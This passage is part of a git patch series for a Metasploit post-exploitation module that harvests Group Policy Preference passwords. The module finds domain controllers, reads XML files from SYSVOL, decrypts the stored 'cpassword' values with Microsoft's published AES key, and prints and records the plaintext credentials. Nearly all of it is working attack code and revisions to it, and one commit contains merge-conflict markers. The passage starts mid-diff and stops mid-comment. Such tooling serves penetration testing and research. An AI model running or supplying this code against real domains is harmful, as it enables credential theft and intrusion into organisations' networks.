mxml, domain rescue Rex::Post::Meterpreter::RequestError => e print_error "Received error code #{e.code} when reading #{path}" end end - + def parse_service_xml(mxml,domain_controller) mxml.elements.to_a("//Properties").each do |node| epassword = node.attributes['cpassword'] next if epassword.to_s.empty? - + user = node.attributes['accountName'] service_name = node.attributes['serviceName'] - + changed = node.parent.attributes['changed'] - + pass = decrypt(epassword) - + print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} SERVICE: #{service_name} CHANGED: #{changed}" report_creds(user,pass) end end - + def parse_printer_xml(mxml,domain_controller) mxml.elements.to_a("//Properties").each do |node| epassword = node.attributes['cpassword'] next if epassword.to_s.empty? - + user = node.attributes['username'] path = node.attributes['path'] - + changed = node.parent.attributes['changed'] - + pass = decrypt(epassword) - + print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} PATH: #{path} CHANGED: #{changed}" report_creds(user,pass) end end - + def parse_drive_xml(mxml,domain_controller) mxml.elements.to_a("//Properties").each do |node| epassword = node.attributes['cpassword'] next if epassword.to_s.empty? - + user = node.attributes['username'] path = node.attributes['path'] - + changed = node.parent.attributes['changed'] - + pass = decrypt(epassword) - + print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} PATH: #{path} CHANGED: #{changed}" report_creds(user,pass) end end - + def parse_datasource_xml(mxml,domain_controller) mxml.elements.to_a("//Properties").each do |node| epassword = node.attributes['cpassword'] next if epassword.to_s.empty? - + user = node.attributes['username'] dsn = node.attributes['dsn'] - + changed = node.parent.attributes['changed'] - + pass = decrypt(epassword) - + print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} DSN: #{dsn} CHANGED: #{changed}" report_creds(user,pass) end end - + def parse_scheduled_task_xml(mxml,domain_controller) mxml.elements.to_a("//Properties").each do |node| epassword = node.attributes['cpassword'] next if epassword.to_s.empty? - + user = node.attributes['runas'] task_name = node.attributes['name'] - + changed = node.parent.attributes['changed'] - + pass = decrypt(epassword) - + print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} Task: #{task_name} CHANGED: #{changed}" report_creds(user,pass) end @@ -287,7 +287,7 @@ class Metasploit3 < Msf::Post mxml.elements.to_a("//Properties").each do |node| epassword = node.attributes['cpassword'] next if epassword.to_s.empty? - + user = node.attributes['userName'] newname = node.attributes['newName'] disabled = node.attributes['acctDisabled'] @@ -299,7 +299,7 @@ class Metasploit3 < Msf::Post no_change = node.attributes['noChange'] change_logon = node.attributes['changeLogon'] sub_authority = node.attributes['subAuthority'] - + changed = node.parent.attributes['changed'] # Check if policy also specifies the user is renamed. @@ -314,14 +314,14 @@ class Metasploit3 < Msf::Post report_creds(user,pass) end end - + def report_creds(user, pass) if session.db_record source_id = session.db_record.id else source_id = nil end - + report_auth_info( :host => session.sock.peerhost, :port => 445, @@ -345,7 +345,7 @@ class Metasploit3 < Msf::Post plaintext = aes.update(decoded) plaintext << aes.final pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion - + return pass end From 91cad8ee77d6991e5d69daf1482fe410cd1b42e4 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Fri, 22 Jun 2012 14:41:51 +0100 Subject: [PATCH 17/44] Fixed printer path --- modules/post/windows/gather/credentials/gpp.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 8b62ea60ab..1e29d8b4f1 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -61,7 +61,7 @@ class Metasploit3 < Msf::Post service_paths = [] service_path = "Services\\Services.xml" printer_paths = [] - printer_path = "\rinters\\Printers.xml" + printer_path = "Printers\\Printers.xml" drive_paths = [] drive_path = "Drives\\Drives.xml" datasource_paths = [] From 506a91f7a8d99cd4e7dae3942ac02e1eac27b90a Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Fri, 22 Jun 2012 16:04:17 +0100 Subject: [PATCH 18/44] Changed runas to runAs for scheduled tasks --- modules/post/windows/gather/credentials/gpp.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 1e29d8b4f1..d4ad63ec02 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -40,7 +40,8 @@ class Metasploit3 < Msf::Post 'References' => [ ['URL', 'http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences'], - ['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'] + ['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'], + ['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'] ], 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ] @@ -271,7 +272,7 @@ class Metasploit3 < Msf::Post epassword = node.attributes['cpassword'] next if epassword.to_s.empty? - user = node.attributes['runas'] + user = node.attributes['runAs'] task_name = node.attributes['name'] changed = node.parent.attributes['changed'] From 19a37c28b803dff77e8e5887b0e0f30de50a8e3e Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Fri, 22 Jun 2012 17:21:32 +0100 Subject: [PATCH 19/44] Fixed and added paths for user preferences --- .../post/windows/gather/credentials/gpp.rb | 20 ++++++++++++------- 1 file changed, 13 insertions(+), 7 deletions(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index d4ad63ec02..e62703b4f2 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -58,17 +58,20 @@ class Metasploit3 < Msf::Post def run dcs = [] group_paths = [] - group_path = "Groups\\Groups.xml" + group_path = "MACHINE\\Preferences\\Groups\\Groups.xml" + group_path_user = "USER\\Preferences\\Groups\\Groups.xml" service_paths = [] - service_path = "Services\\Services.xml" + service_path = "MACHINE\\Preferences\\Services\\Services.xml" printer_paths = [] - printer_path = "Printers\\Printers.xml" + printer_path = "USER\\Preferences\\Printers\\Printers.xml" drive_paths = [] - drive_path = "Drives\\Drives.xml" + drive_path = "USER\\Preferences\\Drives\\Drives.xml" datasource_paths = [] - datasource_path = "Datasources\\DataSources.xml" + datasource_path = "MACHINE\\Preferences\\Datasources\\DataSources.xml" + datasource_path_user = "USER\\Preferences\\Datasources\\DataSources.xml" task_paths = [] - task_path = "ScheduledTasks\\ScheduledTasks.xml" + task_path = "MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml" + task_path_user = "USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml" if !datastore['DOMAINS'].to_s.empty? user_domains = datastore['DOMAINS'].to_s.split(' ') @@ -113,11 +116,14 @@ class Metasploit3 < Msf::Post next if policy_dir =~ /^(\.|\.\.)$/ policy_path = "#{domain_path}\\#{policy_dir}" group_paths << find_path(policy_path, group_path) + group_paths << find_path(policy_path, group_path_user) service_paths << find_path(policy_path, service_path) printer_paths << find_path(policy_path, printer_path) drive_paths << find_path(policy_path, drive_path) datasource_paths << find_path(policy_path, datasource_path) + datasource_paths << find_path(policy_path, datasource_path_user) task_paths << find_path(policy_path, task_path) + task_paths << find_path(policy_path, task_path_user) end rescue Rex::Post::Meterpreter::RequestError => e print_error "Received error code #{e.code} when reading #{tpath}" @@ -173,7 +179,7 @@ class Metasploit3 < Msf::Post end def find_path(path, xml_path) - xml_path = "#{path}\\MACHINE\\Preferences\\#{xml_path}" + xml_path = "#{path}\\#{xml_path}" begin return xml_path if client.fs.file.stat(xml_path) rescue Rex::Post::Meterpreter::RequestError => e From ca2c401cace68fa303b269dced7c4f4bc302349c Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Fri, 22 Jun 2012 17:46:19 +0100 Subject: [PATCH 20/44] Modified username to userName in XML parsing --- modules/post/windows/gather/credentials/gpp.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index e62703b4f2..5362bdf091 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -227,7 +227,7 @@ class Metasploit3 < Msf::Post epassword = node.attributes['cpassword'] next if epassword.to_s.empty? - user = node.attributes['username'] + user = node.attributes['userName'] path = node.attributes['path'] changed = node.parent.attributes['changed'] @@ -244,7 +244,7 @@ class Metasploit3 < Msf::Post epassword = node.attributes['cpassword'] next if epassword.to_s.empty? - user = node.attributes['username'] + user = node.attributes['userName'] path = node.attributes['path'] changed = node.parent.attributes['changed'] @@ -261,7 +261,7 @@ class Metasploit3 < Msf::Post epassword = node.attributes['cpassword'] next if epassword.to_s.empty? - user = node.attributes['username'] + user = node.attributes['userName'] dsn = node.attributes['dsn'] changed = node.parent.attributes['changed'] From 0d4feb9fce839fccafc814a56f262273312575ad Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Fri, 22 Jun 2012 18:11:15 +0100 Subject: [PATCH 21/44] Various fixed suggested by trolldbois --- modules/post/windows/gather/credentials/gpp.rb | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 5362bdf091..206cf4f7da 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -41,7 +41,8 @@ class Metasploit3 < Msf::Post [ ['URL', 'http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences'], ['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'], - ['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'] + ['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'], + ['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx'] ], 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ] @@ -126,11 +127,11 @@ class Metasploit3 < Msf::Post task_paths << find_path(policy_path, task_path_user) end rescue Rex::Post::Meterpreter::RequestError => e - print_error "Received error code #{e.code} when reading #{tpath}" + print_error "Received error code #{e.code} when reading #{domain_path}" end end rescue Rex::Post::Meterpreter::RequestError => e - print_error "Received error code #{e.code} when reading #{tpath}" + print_error "Received error code #{e.code} when reading #{sysvol_path}" end end @@ -184,8 +185,8 @@ class Metasploit3 < Msf::Post return xml_path if client.fs.file.stat(xml_path) rescue Rex::Post::Meterpreter::RequestError => e # No permissions for this specific file. + return nil end - return nil end def get_xml(path) @@ -359,7 +360,7 @@ class Metasploit3 < Msf::Post #enum_domains.rb def enum_domains print_status "Enumerating Domains on the Network..." - domain_enum = 80000000 # SV_TYPE_DOMAIN_ENUM + domain_enum = 0x80000000 # SV_TYPE_DOMAIN_ENUM buffersize = 500 result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil) # Estimate new buffer size on percentage recovered. From 3519aff146680e2543617df8f07b5ca82b89b42b Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Fri, 22 Jun 2012 18:20:45 +0100 Subject: [PATCH 22/44] Added protection for division by 0 in the enum_domain code --- modules/post/windows/gather/credentials/gpp.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 206cf4f7da..df9387e20c 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -365,7 +365,11 @@ class Metasploit3 < Msf::Post result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil) # Estimate new buffer size on percentage recovered. percent_found = (result['entriesread'].to_f/result['totalentries'].to_f) - buffersize = (buffersize/percent_found).to_i + if percent_found > 0 + buffersize = (buffersize/percent_found).to_i + else + buffersize += 500 + end while result['return'] == 234 buffersize = buffersize + 500 From 141195a5ae339165ada3d6e2818cd815c31a6a64 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Fri, 22 Jun 2012 18:33:54 +0100 Subject: [PATCH 23/44] Adjusted attribute strings to match MSDN cases --- modules/post/windows/gather/credentials/gpp.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index df9387e20c..72fd306832 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -228,7 +228,7 @@ class Metasploit3 < Msf::Post epassword = node.attributes['cpassword'] next if epassword.to_s.empty? - user = node.attributes['userName'] + user = node.attributes['username'] #lowercase in MSDN path = node.attributes['path'] changed = node.parent.attributes['changed'] @@ -245,7 +245,7 @@ class Metasploit3 < Msf::Post epassword = node.attributes['cpassword'] next if epassword.to_s.empty? - user = node.attributes['userName'] + user = node.attributes['username'] #lowercase in MSDN path = node.attributes['path'] changed = node.parent.attributes['changed'] @@ -262,7 +262,7 @@ class Metasploit3 < Msf::Post epassword = node.attributes['cpassword'] next if epassword.to_s.empty? - user = node.attributes['userName'] + user = node.attributes['username'] #lowercase in MSDN dsn = node.attributes['dsn'] changed = node.parent.attributes['changed'] From 90eaceef701901068d9afebec87217ffc2737020 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Fri, 22 Jun 2012 18:45:56 +0100 Subject: [PATCH 24/44] Fixed enum_domains exception when domains found = 0 --- modules/post/windows/gather/credentials/gpp.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 72fd306832..7dd300cb00 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -382,7 +382,13 @@ class Metasploit3 < Msf::Post base = 0 domains = [] + + if count == 0 + return domains + end + mem = client.railgun.memread(startmem, 8*count) + count.times do |i| x = {} x[:platform] = mem[(base + 0),4].unpack("V*")[0] From 27b884ca87e93bbadc6fb0019018f12dd399d9da Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Fri, 22 Jun 2012 18:47:44 +0100 Subject: [PATCH 25/44] Fixed drives userName match --- modules/post/windows/gather/credentials/gpp.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 7dd300cb00..8769ecdebf 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -245,7 +245,7 @@ class Metasploit3 < Msf::Post epassword = node.attributes['cpassword'] next if epassword.to_s.empty? - user = node.attributes['username'] #lowercase in MSDN + user = node.attributes['userName'] #lowercase in MSDN but camelCase in practice path = node.attributes['path'] changed = node.parent.attributes['changed'] From 6a80b21124e6fa3adea024ca1ddb34244cfe9e65 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Fri, 22 Jun 2012 19:12:42 +0100 Subject: [PATCH 26/44] Final tidyup --- modules/post/windows/gather/credentials/gpp.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 8769ecdebf..d1079a3f22 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -28,14 +28,15 @@ class Metasploit3 < Msf::Post Users can specify ALL=True to target all domains and their domain controllers on the network. + + Utilizes code from enum_domain and enum_domains post modules. }, 'License' => MSF_LICENSE, 'Author' =>[ - 'TheLightCosine ', - 'Meatballs ', + 'Ben Campbell ', 'Loic Jaquemet ', - 'Rob Fuller ', #domain/dc enumeration code - 'Joshua Abraham ' #enum_domain.rb code + 'scriptmonkey ', + 'TheLightCosine [ From 26d99c6e41a30166c868beefdd6e32bb05858fa4 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Fri, 22 Jun 2012 22:36:52 +0100 Subject: [PATCH 27/44] Added more detail to description and stop execution if no DCs are enumerated. --- .../post/windows/gather/credentials/gpp.rb | 22 ++++++++++++++----- 1 file changed, 16 insertions(+), 6 deletions(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index d1079a3f22..c120f3d5e6 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -15,12 +15,12 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'Windows Gather Group Policy Preferences Saved Password Extraction', + 'Name' => 'Windows Gather Group Policy Preference Saved Passwords', 'Description' => %q{ This module enumerates the victim machine's domain controller and connects to it via SMB. It then looks for Group Policy Preference XML - files containing local user accounts and passwords. It then parses the - XML files and decrypts the passwords. + files containing local user accounts and passwords and decrypts them + using Microsofts public AES key. Users can specify DOMAINS="domain1 domain2 domain3 etc" to target specific domains on the network. This module will enumerate any domain controllers for @@ -29,14 +29,19 @@ class Metasploit3 < Msf::Post Users can specify ALL=True to target all domains and their domain controllers on the network. - Utilizes code from enum_domain and enum_domains post modules. + Tested directly on a Win2k8 x64 DC, Win2k12RC x64 DC, and a Windows 7 x32 Client + Workstation. + + Using the ALL or DOMAINS flags whilst on a DC will not enumerate that DC as it + is looking externally on the network for other Domain Controllers, however the + default (CURRENT=True which inspects the registry) should work successfully. }, 'License' => MSF_LICENSE, 'Author' =>[ 'Ben Campbell ', 'Loic Jaquemet ', 'scriptmonkey ', - 'TheLightCosine ' ], 'References' => [ @@ -53,7 +58,7 @@ class Metasploit3 < Msf::Post [ OptBool.new('CURRENT', [ false, 'Enumerate current machine domain.', true]), OptBool.new('ALL', [ false, 'Enumerate all domains on network.', false]), - OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains - DOMAINS="domain1 domain2 etc".']), + OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains DOMAINS="dom1 dom2".']), ], self.class) end @@ -103,6 +108,11 @@ class Metasploit3 < Msf::Post end dcs = dcs.flatten.compact + + if dcs.length < 1 + return nil + end + dcs.each do |dc| print_status "Searching on #{dc}..." sysvol_path = "\\\\#{dc}\\SYSVOL\\" From 994074948a8149acece8ba59fb3a802695d19292 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Mon, 2 Jul 2012 09:17:29 +0100 Subject: [PATCH 28/44] Removed @enumed_domains which inadvertantly skipped processing after the first file on a domain --- .../post/windows/gather/credentials/gpp.rb | 380 +----------------- 1 file changed, 9 insertions(+), 371 deletions(-) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index 919727ddc3..ec79b136e3 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -8,18 +8,12 @@ require 'msf/core' require 'rex' require 'rexml/document' -<<<<<<< HEAD -======= require 'msf/core/post/windows/registry' ->>>>>>> upstream/master class Metasploit3 < Msf::Post include Msf::Auxiliary::Report include Msf::Post::Windows::Priv -<<<<<<< HEAD -======= include Msf::Post::Windows::Registry ->>>>>>> upstream/master def initialize(info={}) super( update_info( info, @@ -30,35 +24,15 @@ class Metasploit3 < Msf::Post files containing local user accounts and passwords and decrypts them using Microsofts public AES key. -<<<<<<< HEAD - Users can specify DOMAINS="domain1 domain2 domain3 etc" to target specific - domains on the network. This module will enumerate any domain controllers for - those domains. - - Users can specify ALL=True to target all domains and their domain controllers - on the network. - - Tested directly on a Win2k8 x64 DC, Win2k12RC x64 DC, and a Windows 7 x32 Client - Workstation. - - Using the ALL or DOMAINS flags whilst on a DC will not enumerate that DC as it - is looking externally on the network for other Domain Controllers, however the - default (CURRENT=True which inspects the registry) should work successfully. -======= Tested on WinXP SP3 Client and Win2k8 R2 DC. ->>>>>>> upstream/master }, 'License' => MSF_LICENSE, 'Author' =>[ 'Ben Campbell ', 'Loic Jaquemet ', 'scriptmonkey ', -<<<<<<< HEAD - 'TheLightCosine ' -======= 'TheLightCosine ', 'Rob Fuller ' #domain/dc enumeration code ->>>>>>> upstream/master ], 'References' => [ @@ -71,144 +45,6 @@ class Metasploit3 < Msf::Post 'SessionTypes' => [ 'meterpreter' ] )) -<<<<<<< HEAD - register_options( - [ - OptBool.new('CURRENT', [ false, 'Enumerate current machine domain.', true]), - OptBool.new('ALL', [ false, 'Enumerate all domains on network.', false]), - OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains DOMAINS="dom1 dom2".']), - ], self.class) - end - - def run - dcs = [] - group_paths = [] - group_path = "MACHINE\\Preferences\\Groups\\Groups.xml" - group_path_user = "USER\\Preferences\\Groups\\Groups.xml" - service_paths = [] - service_path = "MACHINE\\Preferences\\Services\\Services.xml" - printer_paths = [] - printer_path = "USER\\Preferences\\Printers\\Printers.xml" - drive_paths = [] - drive_path = "USER\\Preferences\\Drives\\Drives.xml" - datasource_paths = [] - datasource_path = "MACHINE\\Preferences\\Datasources\\DataSources.xml" - datasource_path_user = "USER\\Preferences\\Datasources\\DataSources.xml" - task_paths = [] - task_path = "MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml" - task_path_user = "USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml" - - if !datastore['DOMAINS'].to_s.empty? - user_domains = datastore['DOMAINS'].to_s.split(' ') - print_status "User supplied domains #{user_domains}" - - user_domains.each do |domain_name| - found_dcs = enum_dcs(domain_name) - dcs << found_dcs[0] unless found_dcs.to_a.empty? - end - elsif datastore['ALL'] - enum_domains.each do |domain| - domain_name = domain[:domain] - if domain_name == "WORKGROUP" || domain_name.empty? - print_status "Skipping '#{domain_name}'..." - next - end - - found_dcs = enum_dcs(domain_name) - # We only wish to enumerate one DC for each Domain. - dcs << found_dcs[0] unless found_dcs.to_a.empty? - end - elsif datastore['CURRENT'] - dcs << get_domain_controller - else - print_error "Invalid Arguments, please supply one of CURRENT, ALL or DOMAINS arguments" - return nil - end - - dcs = dcs.flatten.compact - - if dcs.length < 1 - return nil - end - - dcs.each do |dc| - print_status "Searching on #{dc}..." - sysvol_path = "\\\\#{dc}\\SYSVOL\\" - begin - # Enumerate domain folders - session.fs.dir.foreach(sysvol_path) do |domain_dir| - next if domain_dir =~ /^(\.|\.\.)$/ - domain_path = "#{sysvol_path}#{domain_dir}\\Policies\\" - print_status "Looking in domain folder #{domain_path}" - # Enumerate policy folders {...} - begin - session.fs.dir.foreach(domain_path) do |policy_dir| - next if policy_dir =~ /^(\.|\.\.)$/ - policy_path = "#{domain_path}\\#{policy_dir}" - group_paths << find_path(policy_path, group_path) - group_paths << find_path(policy_path, group_path_user) - service_paths << find_path(policy_path, service_path) - printer_paths << find_path(policy_path, printer_path) - drive_paths << find_path(policy_path, drive_path) - datasource_paths << find_path(policy_path, datasource_path) - datasource_paths << find_path(policy_path, datasource_path_user) - task_paths << find_path(policy_path, task_path) - task_paths << find_path(policy_path, task_path_user) - end - rescue Rex::Post::Meterpreter::RequestError => e - print_error "Received error code #{e.code} when reading #{domain_path}" - end - end - rescue Rex::Post::Meterpreter::RequestError => e - print_error "Received error code #{e.code} when reading #{sysvol_path}" - end - end - - group_paths = group_paths.flatten.compact - service_paths = service_paths.flatten.compact - printer_paths = printer_paths.flatten.compact - drive_paths = drive_paths.flatten.compact - datasource_paths = datasource_paths.flatten.compact - task_paths = task_paths.flatten.compact - - print_status "Results from Groups.xml:" - group_paths.each do |path| - mxml, dc = get_xml(path) - parse_group_xml(mxml, dc) - end - - print_status "Results from Services.xml:" - service_paths.each do |path| - mxml, dc = get_xml(path) - parse_service_xml(mxml, dc) - end - - print_status "Results from Printers.xml:" - printer_paths.each do |path| - mxml, dc = get_xml(path) - parse_printer_xml(mxml, dc) - end - - print_status "Results from Drives.xml:" - drive_paths.each do |path| - mxml, dc = get_xml(path) - parse_drive_xml(mxml, dc) - end - - print_status "Results from DataSources.xml:" - datasource_paths.each do |path| - mxml, dc = get_xml(path) - parse_datasource_xml(mxml, dc) - end - - print_status "Results from ScheduledTasks.xml:" - task_paths.each do |path| - mxml, dc = get_xml(path) - parse_scheduled_task_xml(mxml, dc) - end - end - -======= register_options([ OptBool.new('ALL', [ false, 'Enumerate all domains on network.', true]), OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains DOMAINS="dom1 dom2".'])], self.class) @@ -230,18 +66,17 @@ class Metasploit3 < Msf::Post dcs = [] basepaths = [] fullpaths = [] - @enumed_domains = [] print_status "Checking locally.." locals = get_basepaths(client.fs.file.expand_path("%SYSTEMROOT%\\SYSVOL\\sysvol")) unless locals.blank? basepaths << locals - print_good "Policy Sahres found locally" + print_good "Policy Shares found locally" end if datastore['ALL'] and datastore['DOMAINS'].blank? domains = enum_domains - domains.reject!{|n| n == "WORKGROUP"} + domains.reject!{|n| n == "WORKGROUP" || n.to_s.empty?} end datastore['DOMAINS'].split('').each{|ud| domains << ud} if datastore['DOMAINS'] @@ -314,7 +149,6 @@ class Metasploit3 < Msf::Post end ->>>>>>> upstream/master def find_path(path, xml_path) xml_path = "#{path}\\#{xml_path}" begin @@ -325,146 +159,13 @@ class Metasploit3 < Msf::Post end end -<<<<<<< HEAD - def get_xml(path) -======= def gpp_xml_file(path) ->>>>>>> upstream/master begin groups = client.fs.file.new(path,'r') until groups.eof data = groups.read end -<<<<<<< HEAD - domain = path.split('\\')[2] - - mxml = REXML::Document.new(data).root - - return mxml, domain - rescue Rex::Post::Meterpreter::RequestError => e - print_error "Received error code #{e.code} when reading #{path}" - end - end - - def parse_service_xml(mxml,domain_controller) - mxml.elements.to_a("//Properties").each do |node| - epassword = node.attributes['cpassword'] - next if epassword.to_s.empty? - - user = node.attributes['accountName'] - service_name = node.attributes['serviceName'] - - changed = node.parent.attributes['changed'] - - pass = decrypt(epassword) - - print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} SERVICE: #{service_name} CHANGED: #{changed}" - report_creds(user,pass) - end - end - - def parse_printer_xml(mxml,domain_controller) - mxml.elements.to_a("//Properties").each do |node| - epassword = node.attributes['cpassword'] - next if epassword.to_s.empty? - - user = node.attributes['username'] #lowercase in MSDN - path = node.attributes['path'] - - changed = node.parent.attributes['changed'] - - pass = decrypt(epassword) - - print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} PATH: #{path} CHANGED: #{changed}" - report_creds(user,pass) - end - end - - def parse_drive_xml(mxml,domain_controller) - mxml.elements.to_a("//Properties").each do |node| - epassword = node.attributes['cpassword'] - next if epassword.to_s.empty? - - user = node.attributes['userName'] #lowercase in MSDN but camelCase in practice - path = node.attributes['path'] - - changed = node.parent.attributes['changed'] - - pass = decrypt(epassword) - - print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} PATH: #{path} CHANGED: #{changed}" - report_creds(user,pass) - end - end - - def parse_datasource_xml(mxml,domain_controller) - mxml.elements.to_a("//Properties").each do |node| - epassword = node.attributes['cpassword'] - next if epassword.to_s.empty? - - user = node.attributes['username'] #lowercase in MSDN - dsn = node.attributes['dsn'] - - changed = node.parent.attributes['changed'] - - pass = decrypt(epassword) - - print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} DSN: #{dsn} CHANGED: #{changed}" - report_creds(user,pass) - end - end - - def parse_scheduled_task_xml(mxml,domain_controller) - mxml.elements.to_a("//Properties").each do |node| - epassword = node.attributes['cpassword'] - next if epassword.to_s.empty? - - user = node.attributes['runAs'] - task_name = node.attributes['name'] - - changed = node.parent.attributes['changed'] - - pass = decrypt(epassword) - - print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} Task: #{task_name} CHANGED: #{changed}" - report_creds(user,pass) - end - end - - def parse_group_xml(mxml,domain_controller) - mxml.elements.to_a("//Properties").each do |node| - epassword = node.attributes['cpassword'] - next if epassword.to_s.empty? - - user = node.attributes['userName'] - newname = node.attributes['newName'] - disabled = node.attributes['acctDisabled'] - action = node.attributes['action'] - expires = node.attributes['expires'] - never_expires = node.attributes['neverExpires'] - description = node.attributes['description'] - full_name = node.attributes['fullName'] - no_change = node.attributes['noChange'] - change_logon = node.attributes['changeLogon'] - sub_authority = node.attributes['subAuthority'] - - changed = node.parent.attributes['changed'] - - # Check if policy also specifies the user is renamed. - if !newname.to_s.empty? - user = newname - end - - pass = decrypt(epassword) - - print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} DISABLED: #{disabled} CHANGED: #{changed}" - - report_creds(user,pass) - end - end - -======= spath = path.split('\\') retobj = { :dc => spath[2], @@ -489,8 +190,6 @@ class Metasploit3 < Msf::Post mxml.elements.to_a("//Properties").each do |node| epassword = node.attributes['cpassword'] next if epassword.to_s.empty? - next if @enumed_domains.include? xmlfile[:domain] - @enumed_domains << xmlfile[:domain] pass = decrypt(epassword) user = node.attributes['runAs'] if node.attributes['runAs'] @@ -504,7 +203,6 @@ class Metasploit3 < Msf::Post never_expires = node.attributes['neverExpires'] disabled = node.attributes['acctDisabled'] - table = Rex::Ui::Text::Table.new( 'Header' => 'Group Policy Credential Info', 'Indent' => 1, @@ -525,14 +223,18 @@ class Metasploit3 < Msf::Post table << ["NEVER_EXPIRES?", never_expires] unless never_expires.blank? table << ["DISABLED", disabled] unless disabled.blank? - print_good table.to_s report_creds(user,pass) unless disabled and disabled == '1' end end - ->>>>>>> upstream/master + # + # Save the 